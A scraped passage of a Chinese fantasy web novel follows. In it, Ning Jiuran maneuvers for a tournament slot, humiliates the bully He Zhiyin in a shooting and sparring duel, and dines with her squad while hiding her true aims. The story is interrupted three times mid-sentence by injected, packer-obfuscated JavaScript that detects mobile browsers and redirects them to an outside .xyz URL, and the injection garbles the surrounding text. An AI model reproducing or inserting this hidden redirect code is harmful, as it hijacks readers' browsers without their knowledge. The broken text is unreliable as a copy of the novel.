“本来是不可以的,不过不久后就要公开,所以肖主任也允许我现在公布。外勤部培养我们是为了参加五年一届的提灯人大赛。大家都知道,我们平海在提灯人大赛上多年势弱,司内一直想改变这一现状,所以才有了这个计划,期待为平海分司乃至整个平海城在大赛上取得成绩。” 宁九燃一语落下,全场除了知情一点点的林珰珰,所有人的目光都落在了最无辜最懵圈的肖自云身上。 肖自云感觉自己已经出了一身汗,他搞不清宁九燃到底想干嘛,努力想跟她对上眼色 宁九燃避过肖自云的眼神,想着:还没完呢,这名额我就算强抢也得拿到。 她深吸一口气,眼神飘远仿佛开始了回忆:“遥想十八岁那年,我机缘巧合被选中加入这个计划,吃了很多苦,受了很多累,但我都坚持下来了,因为参加提灯人大赛为平海争光是我从小到大的梦想。” 记者们的镜头纷纷围了上来。 这可是当下平海城风云人物的励志秘闻,写好了拍好了说不定能成大爆点上联邦日报! 肖自云控制住快要裂开的表情,不可置信地看着宁九燃。 这丫头在编什么鬼故事? “而让我树立这个梦想的,是我最崇拜之人。这次,我在危险面前不惧牺牲守护公民的举动,也是受到了他的影响。这么多年,我一直在向他看齐,希望有朝一日可以成为像他一样的人。”宁九燃说得煞有介事,眼睛里亮着光,仿佛正看着她的偶像。 这下林珰珰也有些好奇了:这倒没听九燃姐姐说过…… “可以知道您最崇拜之人的名字吗?”记者们也两眼放光,话筒左推右搡地拥在宁九燃面前。 “当然。我最崇拜的是……”宁九燃直视镜头,眼睛微微弯起,声音清亮悦耳,“现任弑神者赫应决大人。” 现场一片哗然。 宁九燃扫过记者们或震惊或惊喜或急切的神情,继续说道:“赫应决大人在十年前与司道大人联手取得提灯人大赛的冠军,从那时起,他就成了我的榜样。我一直期待能够参加提灯人大赛,锻炼自己的能力,未来可以像他一样守护联邦公民。” 说完后,记者们也不再提问,堆着笑一个劲地让宁九燃看镜头,闪光灯闪个不停。 毕竟现在的内容已经有足够的热点了,但他们万一乱提什么问题惹恼了弑神者,那再也不能写字估计已经是最好的结果了。 肖自云是想笑都笑不出来。 等其他两部主任和媒体记者全部离开后,肖自云一关门转身就沉下脸,问道:“宁九燃,你到底是在搞什么?又什么计划又弑神者大人,你嫌自己过得太好了吗?” “主任,这不是话赶话到这了吗?”宁九燃滴溜着眼睛,一脸无辜,“谁让那个记者这么问,我怎么说都是错呀?反正三部分立,我也确实优秀,这计划您说有就能有呀。至于赫应决,有人崇拜应该不奇怪吧……” “少装啊,你以为我看不出来你要干嘛吗?”肖自云边说边拿了本书给自己扇风,“你知道提灯人大赛是个什么东西吗?别说你们没那个本事,我们平海分司已经五届没有名额了!之前参赛也都早早就被筛下来,去参加的那都是精英中的精英!还想去……梦里想想算了。” “肖主任,我这次那么大功,总司没有嘉奖吗?”宁九燃非常有眼力见地倒了杯水,笑着递给肖自云。 “干嘛又突然说这个?肯定有啊,转正还有什么资源的……等等——”肖自云去接水杯的手又缩了回去,“你……你不会是算计好了想拿嘉奖换名额吧?” 宁九燃把水杯往肖自云手里一塞:“肖主任,话怎么能这么说呢?我可差点被炸死了,只是这两天突然想替我们平海分司挣点荣誉,此心日月可鉴啊。” 一旁的林珰珰背过身替宁九燃收拾行李,全程抿着嘴怕自己笑出来。 肖自云把水杯举起又放下,来回走了两圈,感觉都能听到自己头发掉下的声音,最后撂下一句:“我能替你申请,但先说清楚了名额不一定有,有也不一定让你去,比赛前转正不了,就做梦去。”说完后风风火火地开门走了。 林珰珰侧头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554550|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看看门口,小声对宁九燃说:“九燃姐,你胆子也太大了……肖主任好像生气了……” “没事。”宁九燃冲她笑笑,收了水杯后跟林珰珰一起整理。 她要的就是这种效果。 在黑雾事件中救下所有人但故意让自己被严重炸伤,这是能力和忠诚。而现在鲁莽地想通过这种方式参加提灯人大赛,司里只会觉得她有抱负而浅谋算。 这样的人,是最容易被接纳,也最不容易被怀疑。 “那……如果总司不通过怎么办?”林珰珰问。 “一定会通过的。”宁九燃肯定地说。 因为今天她特意扯上了一个人。 这个最为位高权重的人,似乎想从她身上知道些什么呢。 请神司弑神殿。 一道黑红相间的光穿过长长的走廊掠入主殿,在空中展开机械双翼,停在了殿中心的黑金盘龙长案边,机械红光映过长案上的时烬纹,显出几分肃杀。 “凤凰,任务完成了?” 这个被叫做凤凰的人工智能机械实体看着并不像凤凰,非要类比的话,可能更像一只长尾的鹰,也不知道设计人的灵感当时是怎么蹦跶的。 修长白皙的手抚过机械翅膀,一个光屏应声弹出:“大人,任务顺利完成,但我的数据网捕捉到一点小插曲,我觉得您需要看一眼。” 赫应决半靠在暗红的主座上,抬眸看向放大的光屏,光屏中的女孩微笑着面向镜头,仿佛在与他对视。 她说:“我最崇拜的是现任弑神者赫应决大人。” “大人,根据数据库分析预测,这个视频明天有百分之九十九的概率登上联邦日报头条,基于对您的过往行为曲线判断,我认为您不会希望这样的事情发生。”标准好听的机械音持续传出。 “还有百分之一呢?”赫应决看着屏幕,微微偏头。 “除您之外还有其他人员拦截这条新闻,但是概率非常小,因为这看着太像一条关于您名声的正面新闻,大部分人往往会以为是您的授意,所以不会选择主动掺和。”机械音有理有据地分析。 “有人崇拜我很奇怪么?”赫应决闻言问。 机械音停了一下,说道:“根据我的数据库简易分析,在对您有基本了解的人当中,28%的人对您的感情是爱慕,30%的人对您的感情是畏惧,40%的人对您的感情是爱慕和畏惧,崇拜这种感情的占比非常小,在数据计算中往往是可以忽略不计的。” 赫应决低笑一声,说:“这么看来,我是该培养培养这种情感了。不必拦截,让她登头条最大的版面。” “好的,大人。” “让总司综合部的主任现在来一趟。”赫应决说。 “已为您呼叫综合部主任褚廿坪,他大约在三分钟后到达弑神殿主殿。” 三分钟后,褚廿坪低头快步走进主殿,停在长案五步远处微微俯身:“弑神者大人。” “提灯人大赛的名单定了吗?名额满了么?”赫应决问。 “根据初选,名单已经初步拟定,再经过两轮确认就可以正式发布了。”褚廿坪回答道,“目前名额已经满员。“ “我看看。”赫应决说,褚廿坪连忙打开个人终端,将名单投影到赫应决面前。 赫应决扫了眼名单,抬手划去几个名字:“这几个人,在下一轮筛选中,资格不符。” 他的语气平淡,仿佛在说什么早已落定的事。 “不……不符?为……”褚廿坪一时没反应过来,愣了两声,抬头对上赫应决的目光吓得一激灵,强行懂了,“明明……明白,大人说的没错,他们资格不符。名额有了空缺,还望弑神者大人可以为我推举几位参赛者。” 赫应决没再看他,手轻轻拨弄了几下凤凰的机械翼:“嗯,我想想吧,过两天告诉你。” 褚廿坪抬手擦了擦冷汗,从主殿退了出去。 9. 第9章 请了一天假回家安抚唐姨他们之后,宁九燃就回到了请神司。 这是她第一次正式地以外勤部临时工的身份踏进请神司的大门。 平海虽然只是个小城,但是不管是哪的请神司都非常有钱,财政拨款向来是第一份的。 外勤七组虽然都是临时工,却也配备了一个敞亮的办公区,每个人都有专属的工位,各种设备齐全,边上还接了独立的会议室、休息室和训练室。 宁九燃刚在办公区绕了一圈,路嘲风便推门而入:“燃姐,你来啦!我正跟辰哥聊呢,你知道你现在上了多大的新闻吗?” “应该知道。”宁九燃刚刚进来的时候几乎受了一路的注目礼。 联邦日报的头版头条,自己找的那几个人还真是有点超乎意料…… “诶,你真想去提灯人大赛啊?我还以为你就是开玩笑的。”路嘲风拉了个椅子坐到宁九燃边上。 “当然想去。”宁九燃偏头看他,“你难道不想吗?提灯人大赛固然是群英荟萃,但也有多少草包是借了家族的势力混进去镀金,他们都好意思去,我们为什么不敢想?” “这话豪迈!有道理啊!”路嘲风眼睛放光,十分认同地重重点了下头。 “小铃铛和辰刻呢?”宁九燃看看四周,问。 路嘲风说:“哦,他们在地下训练基地,我也刚上来。这不还得赶紧准备通过临时工考核吗?” “我们去看看吧。” 宁九燃跟着路嘲风一路向下。 “对了,你们见过姜滚晁了吗?”宁九燃边走边问。 姜滚晁是宁九燃到目前为止唯一没见过的外勤七组成员。 根据资料显示,他曾经做过两年提灯人,但是不知为何六年前被剥夺了提灯人身份,三年后重新申请加入请神司被拒绝,后来在一个小案件中意外立功,请神司总司批准其进入临时工行列。 “没见过,林珰珰和辰哥都没见过,他跟我们不太一样。”路嘲风走在宁九燃前面刷开通道的门禁,“我打听过,临时工培养其实有两个体系,一个就像我们按部就班地在司内训练,然后进行考核。还有一个是外派到没有请神司分司的荒僻小地方,除除异兽,清清黑雾,磨练个一两年,司里再派个人去考察下就可以转正了。” “所以他选的是外派?”宁九燃问。 “对啊,这个外派说实话跟流放似的,正常人也不会选,又苦又累没保障。万一碰到个特强的异兽保不齐就交代了。”路嘲风边走边把手一摊,“不过,这事有一个好处,如果外派期间立下比较大的功绩,就可能会直接调进总司。外派虽然危险,但机会也多,所以还是有人铤而走险的。” 宁九燃若有所思地点点头,眼前就到了平海分司的地下训练基地。 “珰珰在那,她跟那枪折腾一上午了,不过效果好像一般……”路嘲风又指向远处一排黑色的封闭模拟舱,“辰哥在那里面,训练神格技能,这些资源我们用工牌都可以刷开。提灯人考核有三个板块,基础知识考核,基本技能考核还有实战考核。正常的周期是五个月,燃姐,你要是想参加三个月后的提灯人大赛,难度好像不是一般的大。” “我知道。”宁九燃边观察训练基地边说,“不是我,是我们。” “啊?我们?我们一起去吗?”路嘲风愣了下,惊道。 “提灯人大赛可是团体赛,难不成我一个人单打独斗?”宁九燃环顾了下,发现还有一个打靶场是空着的,便上前刷开,“我们是一个组的,有名额当然我们一起去。” 路嘲风张了张嘴,缓过来后激动地一握拳,连忙跟上宁九燃:“燃姐仗义啊!”然后顺手带上打靶场的门。 却突然被卡了一下。 一只手扯开路嘲风拉门的手,用力推开靶场的门,随后几个穿着提灯人训练服的人走进来,顺脚踢了下路嘲风放下的包。 “这不是那个宁九燃吗?”领头的那个阴阳怪气地说。 宁九燃看了他们一眼,没接话。 路嘲风在她耳边小声说:“这是外勤一组的组长何之金和他弟弟何之银,两个都是S+,脾气差得远近闻名。” “你最近可出名了呀,听说还让肖主任帮你申请参加提灯人大赛的资格?”何之金一脸不屑地打量着宁九燃,“这年头,靠脸走关系的都这么不自量力了?” 说完,他身后跟着的几人一块笑了起来。 “关系……就他后台最硬吧?谁不知道他爸是监察部主任……”路嘲风挡着嘴型对宁九燃说。 宁九燃觉得此人长得难看还说话难听,不太想搭理,背过身到一边去取配枪箱训练,结果何之金大跨几步上来一堵,身后的几人跟着横在宁九燃面前。 “想干嘛?”宁九燃有些不耐烦了。 “不干嘛,以后都是同事,来给你几个忠告。”何之金叉着腰绕到宁九燃面前,“在外勤部啊,脸没那么好用,不要妄想,老老实实地干该干的事。” 宁九燃冷眼看他:“比如呢?” “比如啊,眼下不就是吗?我们哥几个要用打靶场,你们把地让出来,新人就要有新人的样子,我们这些做哥哥的才好罩着你们啊!”何之金冲训练场挑了下下巴,伸手过来要搭宁九燃的肩。 宁九燃觉得再忍下去牙都要咬碎了,抓住他的手腕用力一扭,骨骼的“嘎嘣”声和何之金的惨叫声同时响起。 松开手甩了两下,宁九燃皱眉看向弯腰抱住胳膊的何之金:“我倒是有点没想到,请神司也有霸凌这一套。” “宁九燃,你!”何之银指着宁九燃咬牙切齿,“你算个什么东西敢伤我哥!有点本事敢不敢比一场,输了就跪下来给我哥道歉!” “燃姐,别……”路嘲风拉住宁九燃,冲她摇摇头。 何氏兄弟做了五年的提灯人,本身就实力雄厚,眼下明显是嫉妒宁九燃出的风头故意挑事,真比就顺了他们的意了。 辰刻和林珰珰也注意到这边的动静,跑来站到宁九燃身后。 同时,整个训练基地的人几乎都被热闹引了过来,围在打靶场外。 人到的挺齐,那就干脆把事了了,省的过几天再来个金啊银啊的,她可没工夫一一应付。 宁九燃扫了眼四周,笑道:“比呗,比什么?” “我不占你便宜,你神格等级比我低,我们就不用神力。”何之银说,“我们比硬实力,打靶和格斗。” 说得可真要脸。 “行。”宁九燃应下,“那你要是输了呢?” “输?哈哈哈哈……”何之银好像听见了什么天大的笑话,卷起袖子在宁九燃面前比划了两下,“输了我跪下来叫你爸爸!” “诶,可别……”宁九燃想起刚刚在墙上看到的监察部主任照片,感觉这个称呼非常冒犯人,“我怕折寿,输了的话跪下就行。” “这……临时工是没有配枪的,特殊枪支打靶是提灯人每天都要练的必备技能,还有格斗……” “感觉不太公平吧……” “这个何之银尽拣优势跟人比,也太过分了。” …… 围观群众里有人小声议论。 何之银觉得宁九燃有些不自量力。 提灯人使用的枪支与普通的枪支不同,名叫沉水枪,发射的子弹是以限制特能的沉水为原材料,需要用神力催动才能进行射击,没有经过特殊训练的人可能连枪都举不起来。 至于格斗,这个宁九燃看起来细胳膊细腿的,倒也真敢跟自己打。 在何之银愣神的功夫,宁九燃已经转身取出靶场里的配枪箱摊开在桌面上:“怕了可以不比,别浪费我时间。” 何之银赶紧拿出配枪箱:“怎么?从组装开始比吗?” 宁九燃一点头,不想接话。 何之银的一个跟班喊道:“开始。” 沉水枪的配件十分复杂,正常来说,刚入门的人二十次以内都得看着图纸装。 何之银当年也是练了好久才熟练,最好的成绩是47.3秒,外勤部除了他哥就没人比他快了。 正想着,旁边听到咔嗒的放枪声。 围观者里响起惊呼:“她……她装完了!这才23秒!” 什么!何之银猛地看向宁九燃,发现她已经组装完毕,抬眼正看着他,嘴角微勾。 嘲讽我?何之银感觉脑子一炸,提腿就准备冲上去,何之金上前一步拽住了他,咬牙低声说:“她装得没问题,别丢人,赶紧装完比下一个,老子就不信一个刚来的临时工开得出枪!” 宁九燃将沉水核装进枪里,调动神力注入枪支,里面的沉水慢慢亮了起来。 前方十米开外,一个巨大的圆口从中间打开,飘出五个指甲盖大的黑点。 那就是所谓的靶。 沉水弹可以限制特能人的神力,一转五发,再上膛则需要十秒左右的调动时间。一旦被注意到则可能被神力凝盾挡下,所以前五发的命中率十分重要。 这也就是靶点的设计目的。 一边的何之银匆匆组装完沉水枪,看宁九燃还没发射,急忙抢先射击。 砰!砰!砰!砰!砰! 五道光亮之后,圆口上的显示牌翻出了“4”。 “五枪命中四枪,已经相当不错了,反应时间也很短……” “打靶本来就是何之银的强项,状态好的时候全中也是有的。” “那个宁九燃为什么还不开枪……” “到底是新来的,怎么可能开的出沉水枪呢?” …… 围观者中发出几声惊叹,又开始议论。 “怎么,宁九燃,开不出枪就别硬装,早点认输少丢点人。”何之银双手环抱,看着宁九燃举着枪久久不开,大声嘲讽道。 宁九燃瞄了瞄五个靶点,低笑一声:“我是觉得这个难度太低,赢了也没什么好得意,想着换个打法。”说完,没等何之银反应,她抬手拨动操作面盘,将靶点灵敏度拉到顶格,五个黑点瞬间高速移动,几乎看不清所在。 “干什么你……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16554551|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何之银一愣。 宁九燃没有丝毫犹豫,举枪连开五枪。 五响过后,还没缓过来的众人纷纷抬头去看显示牌。 一切发生得太快,显示牌似乎都没来得反应,顿了下,缓缓翻出了“5”。 “我靠!”路嘲风最先低呼出声,被边上的辰刻按住才没蹦起来,“燃姐完胜啊!这是人能办到的吗?” “这……这太夸张了!宁九燃是怎么做到的?” “肉眼几乎都看不清,居然全中!” “我算是知道她凭什么能直接进请神司了…… “别说平海了,总司也找不出几个比的过的吧……” 围观的人终于从巨大的震惊中回过神,纷纷拿膜拜的眼神去看宁九燃。 宁九燃把枪放下,看向何之银,语气平淡地说:“你要不要试试?” “你!”何之银从错愕转为恼怒,把沉水枪往箱子里一扔,“你一定作弊了!一个临时工怎么可能做得到!” “你看见我哪步作弊了?怎么作弊才能做到这样呢?”宁九燃走近几步,眼神微转,轻笑道,“你知道?还是说,你做过?” “我!你……” “之银!”何之金连忙拽住何之银,“别乱说话!这么多人都在!” 何之银:“哥!” 他想不通,沉水枪打靶是提灯人的核心技能之一,她怎么可能有这样的水平? 这个宁九燃分明刚进请神司,是个什么都没练过的临时工,却妄想着参加提灯人大赛。他打定主意要杀下她的威风,给她点教训,可现在反而……反而让她又出了风头! “继续吗?还是说,你现在就打算履行赌约?”宁九燃挑眉看他。 “比!格斗场!” 一众人全都跟到了训练基地最大的格斗场。 宁九燃和何之银站在格斗场中心。 白亮的灯光打在宁九燃的脸上,她正专注地将格斗手带一圈圈缠在手上,透出了几分冷静与淡然。 而这个神情彻底激怒了何之银。 二人准备好后。 “近身格斗比试,出圈者败,倒地十秒不起者败,自主认输者败。”一名提灯人站在裁判位喊道,“外勤一组何之银对阵外勤七组宁九燃,比试开始!” 何之银憋了一肚子的火,抬手一记重拳直取面门,宁九燃清晰地感知到拳头携风而来。 但她不退反进,俯身从其侧边掠过,膝盖借力变向,闪入何之银视觉死角。 何之银一拳打空后反身侧踢,宁九燃依旧轻松避过。 “燃姐的速度好快啊,这个何之银在力量上有绝对优势,燃姐就不跟他硬碰硬。”路嘲风一面紧盯场上一面跟辰刻说。 短短十余秒,二人已过了十几招。 “只避是没用的,宁九燃应该有跟他硬碰硬的能力,但是她毕竟伤才刚好,身体还没有恢复完全。”辰刻接话道。 所以,她想怎么赢呢? 何之银连连打空,神色已变得有些着急。 这个宁九燃的身法快得离奇,他必须想办法按住她才是。 他站定身体,打开双臂想要扭住宁九燃的肩膀。 等的就是你这下。 宁九燃没再避开,在即将被碰到之时,仰面下腰以手撑地,右腿借力精准踢在何之银肘关节的神经丛。 何之银感到右手瞬间麻痹,条件反射地颤抖了下。 趁此时机,宁九燃发力低扫掠过他的右膝,重蹬两下后借力翻身而起倒压他的肩膀。 何之银一个没稳住被压得侧跪下去,右膝重重磕在地面,发出“咚”的一声。 他反手想要拉住宁九燃,却被她旋身避过。 随即感到衣领处被一拽,整个人被强拉站起,还没来得及反应,后背受到用力一踹,重心不稳,滚落下格斗场。 裁判目瞪口呆地看着这十来秒内就完成的胜利,愣了片刻才喊道:“外……外勤七组宁九燃胜!” “燃姐帅啊!”路嘲风十分捧场,立刻在场边高呼起来。 场下也有不少人开始为宁九燃欢呼。 这确实是一场精彩的格斗比赛。 宁九燃活动了下右手,之前受的伤虽然已经痊愈,但到底还没有彻底恢复,不然今天也没必要拖这么久。 想着,她边解绷带边往场下走。 趴倒在地的何之银右手依旧麻痹,勉强用左手撑起身,晃晃悠悠地站定后,脸色已经被气得完全扭曲。 这个宁九燃,竟敢让我在外勤部这么丢人!这事不能就这么完了! 他放在身后的手亮起滚动的电流,聚拢后向前一推,呵道:“万钧之雷!” 空气陡然爆裂,无数闪动的电流瞬间击向背对着他的宁九燃,雷声未至,已映得她背影一片煞白。 “九燃姐姐!背后!” “燃姐!” “宁九燃!” 台下的路嘲风三人惊呼出声。 那可是S+提灯人的三重神技! 10. 第10章 这个何之银居然不要脸到偷袭的地步! 辰刻在出声的同时,右手立刻凝聚神力想要去挡,可是何之银的三重神技太快了!完全来不及阻挡! 宁九燃在惊声响起前就已经顿住,何之银低估了她对神力流动的敏感程度。 但她没有转身。 电弧迫近激起她散落发丝的瞬间,宁九燃左脚悍然跺地,赤焰呈环状喷涌炸开,她借爆炸之际拧身半转,左手并指如刀刺入雷暴之中。 众人惊愣,却见宁九燃左手下一秒燃起火焰,雷电就像被抓住驯服了般被迫改道,竟汇入火焰顺其手臂缠绕奔腾,绕身半周后随其手势甩向身后。 雷火喷吐,尖叫倒卷而回,以不可挡之势击中何之银。 何之银完全没有料到,刚抬起手就被重重击跪在地,周身雷火炸亮,发出巨大的爆鸣声! 何之金被爆炸震得倒退几步,声音几乎变形:“宁九燃,重伤提灯人你一定会被逐出请神司!” 宁九燃依旧没有转身,把刚刚还剩一圈的绷带解完,冷声道:“何组长,那你刚刚怎么不拦着他呢?再说了,我伤他了吗?” “什么……”何之金匆忙上去扶双膝跪地、神色木楞的何之银,手刚一搭上,何之银已被完全碳化的上衣化为碎屑簌簌飘落,但身体肌肤居然毫发无伤。 “他还不配让我赌上提灯人的身份。”宁九燃下台走到路嘲风他们身边,余光瞥向眼神呆滞的何之银,微微抬高音量,“何之银,想来你不会践诺,我就帮了你一把。下次再偷袭,我就烧你头发了。” 路嘲风没忍住低头偷笑一声,小声说:“燃姐,身心双重打击啊,我对您五体投地。” 林珰珰上前查看宁九燃的左手:“九燃姐,你没事吧?没受伤吧?” “没事,我们回去训练吧。”宁九燃轻轻拍了拍林珰珰的手安抚她,刚转身又停了下来,回头看向悄声交头接耳的围观人员,勾出一抹笑,“对了,我不怎么累,还有想跟我比试的吗?” 顿时鸦雀无声。 他们并非全都觉得打不过宁九燃,而是觉得看不透她。何之银一向横行霸道、目中无人,而这个宁九燃仅凭一个S级神格,就把他的面子里子都撕了个稀碎。 所以,得罪这个新来的宁九燃,绝对不是明智之举。 宁九燃看了一眼没人出声,便转身走了,林珰珰三人跟在她身后离开。 其他提灯人也随之叽叽喳喳地散去,只留下外勤一组的人在原地愣神。 格斗场二楼,黑色的单向玻璃后立着两个站了许久的人。 其中一个年纪稍大,留着一小圈胡子的人先开口:“老肖,你新招的这小丫头不简单呀?那群年轻人看不明白,你看明白了吧?她刚刚用的可是绝对天赋能力——神融。” “将自己的神力与属性相近的神力融合,让他人神力为己所用,确实是神融。”肖自云透过玻璃,看着扶起何之银慢慢离开的外勤一组,说,“这种能力堪称四两拨千斤,不仅需要对神力运行的绝对敏感与掌控,还需要在第一瞬间判断出对方攻击的神力凝聚点。不可后天训练的天分啊……这孩子倒真像她自己说的,是颗沧海遗珠。” “哪有遗珠能藏这么久?”边上的人继续说,“沉水枪用得出神入化,近身格斗连以力量著称的何之银都没占到半点便宜,除了神融,听说之前还用出过神印。这种绝对的天才等着我们来捡漏?老肖,可别引狼入室了。” 肖自云收回目光,看向身边的综合部主任沧与野,神情舒展地一笑,搭上他的肩拍了两下:“放心吧沧主任,宁九燃的入职是总司那边的意思,弑神殿都点过头,他们会允许出什么大问题吗?” “也是,看来是我们平海要时来运转了。”沧与野闻言便不再怀疑,反倒有些羡慕起外勤部得了新的人才,“哪天要是嫌她烦了,送我们综合部来,老同事绝对给你托底。” 毕竟,弑神殿是绝不可能放过任何一个可疑之人。 “一边去,你们综合部要提灯人干嘛?你部里那群人都一板一眼,大部分又没有特能,这小丫头过去能掀了你的屋顶称王称霸。”肖自云一脸警惕,搡了沧与野一下,“少撬我墙角啊,忙死了,走了。” “忙什么?我就撬撬看。” “你这老东西……” “咱俩同岁啊,别乱叫。” …… 两个“成熟稳重”的主任推推搡搡地挤出了观场室。 收拾了何之银后,便不再有人来挑衅。而且肖自云有了前车之鉴后,除非自己亲自带队,否则绝不让外勤七组去出任务。 于是,外勤七组太太平平地完成了一整天的训练量。 换上常服后,宁九燃牵住林珰珰,等辰刻和路嘲风换完衣服出来,说:“要不要去聚个餐?大家互相了解下,我知道一家烧烤非常绝,或者你们有什么别的推荐?我不太挑的。” “烧烤我没意见啊!诶……”路嘲风脱口而出,下一秒想到了什么似的看向穿白衬衫,戴金丝眼镜的辰刻。 会不会画风有点不符? “可以。”辰刻应的很快,注意到路嘲风盯着他的衣服后,又说,“觉醒神格前我本来想做律师的,这是个人习惯,不是不食人间烟火。 “那我放心了。”路嘲风搭上辰刻的肩膀,没料不小心用力弄出个小折痕,赶紧悄悄拍平,“走吧燃姐。” 为了避免被晚高峰堵在路上,宁九燃带着他们搭了空中轨道。三十分钟之后,四人站在了宁九燃所说的烧烤店面前。 更准确的来说,是站在了烧烤店的招牌面前。五米高左右的四个立体大字“平海大烤”立在地面上,然后就没别的了。 “别惊讶,我说过,他家招牌很大的。”宁九燃回头看看他们的表情,笑着说。 “是挺大……”路嘲风仰着头看着这“大”招牌,茫然道,“那……店呢?” “老板为了省钱,店建在地下,跟我走吧。”宁九燃拉上林珰珰,走到“烤”的底端一按,一扇仅容一人通过的门缓缓推开。 路嘲风和辰刻跟在她身后从通道里走下去。 通道窄但非常明亮,墙上的花纹大约是抽象派的艺术,让人解读不来。 大约走了十来米,又是一扇门。 宁九燃上前摇了摇门铃:“吉利老板,我是宁九燃,带朋友来吃饭啦!” 门应声而开,迎面是一个穿着红色格子上衣、有些圆乎的中年男子。他就是这家店的老板,名叫包吉利。 包吉利人如其名,长得非常喜庆吉利,腰间还围了条明黄色大围裙,往门口一摆,招财猫都省了。 “有些日子没来了呀九燃,还带了朋友,今天招牌菜都点上吧?”包吉利爽朗地开口,引着宁九燃他们进了一个包间,“我亲自给你烤,还打折!你们先坐着啊!”说着,便晃悠地跑出去备菜了。 “这店……真特别……”路嘲风环顾了一圈。 现在绝大部分餐饮店早就是全智能化,这种摇门铃老板亲自烤肉的画风实在是有点罕见,何况还建在这么荒僻的地下,真的有生意吗? “吉利老板不靠这个赚钱,纯是爱好烤肉。”宁九燃从旁边的服务台上拿了茶壶给他们每人倒上茶,“而且他这人特讲缘分,觉得自己烧烤店的设计特别适合筛选缘分。” 辰刻端起茶杯抿了一口,锐评:“也挺适合做地下工作的。” “有道理诶。”宁九燃跟没听出话中犀利一般,点头特别认可地说,“叫老板在另一头再开个通道,哪天万一要逃命就在这借个道,肯定没人能抓到。” “怎么就要逃命了,燃姐?”路嘲风打开桌上的点菜系统,划到了酒水界面,“烤肉配酒,我点几扎冰啤,辰哥燃姐喝的吧,珰珰要不给你点个低度数的酒精饮料?” 林珰珰:“我能喝的。” 宁九燃:“我不喝酒。” “啊?”路嘲风有点没想到,宁九燃看着不像是不会喝的样子,而林珰珰看着就像是不会喝的。 “我酒量有点差,喝酒耽误事,你们点上吧,我来个加浓柠檬水就行。”宁九燃笑笑说。 “好的。”路嘲风应道。 等路嘲风点好东西后,宁九燃清清嗓子,开口:“其实我今天找大家吃饭,是有些事情想和大家一起商量讨论一下的。” 见大家都看向她,宁九燃继续说:“你们应该都知道,我想参加提灯人大赛,但这个比赛是团体赛,所以,如果能有名额的话,你们愿意跟我一起参加吗?” “可以啊,大家族里的人都抢着进去镀金,拿了名次说不定能进入主司获得不少资源。”路嘲风没有犹豫就应和道。 林珰珰和辰刻没有立刻回应。 辰刻沉默了片刻,抬头对上宁九燃的眼睛,说:“宁九燃,你为什么想参加提灯人大赛?” “我……我就……”辰刻的目光透过薄薄的镜片,掺着不带掩饰的探究,让宁九燃的话突然卡了下。 “我认识你没几天,必须承认的是,你的能力极其出众,远超同龄人,还非常有人格魅力,很容易让人想跟你成为朋友。”辰刻缓缓说道,“但是我这个人有些多疑,可能是以前学法留下的职业病吧,希望谅解。第一,普通人接触不到沉水枪,但你却用得过分纯熟;第二,你的目的性太强,我甚至怀疑你加入请神司就是为了参加提灯人大赛,本来这并不奇怪,可能是因为你想要出人头地,但是肖主任说你曾经拒绝过加入请神司,所以你的参赛原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“至于别的,我学东西似乎是要比一般人快些,大约是上天看我有这个病太惨了,补偿我的吧。”宁九燃用开玩笑的语气说,“我没跟别人说过这个事情,可能因为它比较像我的弱点,万一被坏人踩着点在我发病的时候偷袭我呢,对吧?” 包间陷入了沉默。 辰刻从刚才起就一直看着宁九燃,神情复杂。路嘲风不知在想什么,也垂着头。林珰珰则盯着宁九燃已经放下袖子的手臂。 宁九燃几不可闻地吐了口气,心中莫名有些说不清的感觉,有些堵。 想了想,她站起身打破沉默:“大家不用多想,我没有什么别的意思,只是觉得辰刻既然问了,我确实也不应该瞒着大家。诶……那个,烧烤怎么还没好,我去吉利老板那看看,你们先坐会吧。”然后,推开门快步出去了。 关上门的那一刻,宁九燃的眼神暗了下去。 这种感觉……是歉意吗? 宁九燃,你对他们感到抱歉了吗? 可是,确实只有参加提灯人大赛,进入神使阁,才有机会接近司道死亡的秘密,才能拿到血池水的再生之法,不会再因这金色裂纹受制于伪神教。 宁九燃,你只能这么做。 几分钟后,宁九燃神色如常地端着大盘小盘的烧烤,后面跟了推着小车的包吉利,热热闹闹地打开了包厢的门。 “烧烤来啦,九燃还催上我了,慢工才能出细活!”包吉利的大嗓门先他一步挤进包厢。 宁九燃侧身迈进门,脚步一顿。 包吉利确实称得上“烧烤工匠”,为了保证顾客吃到正宗的人间烟火气,小车里还放了微微亮着火星的无烟炭,灼得烤肉的香气和热气一阵阵地往外溢。 烤肉味的热气绕着宁九燃,让包间变得有些朦胧。 可眼前的景象却很清晰。 辰刻、路嘲风和林珰珰坐在桌边,面对门口,正看着她。 眼睛里似乎都带着浅浅的真挚的笑意。 辰刻依旧是沉稳平静:“宁九燃,我想和你一起参加提灯人大赛,你有你的需要,我也想要证明自己的能力。” 路嘲风马上接话:“燃姐,我也要参加,就是不知道会不会拖你后腿,但我肯定会努力!” 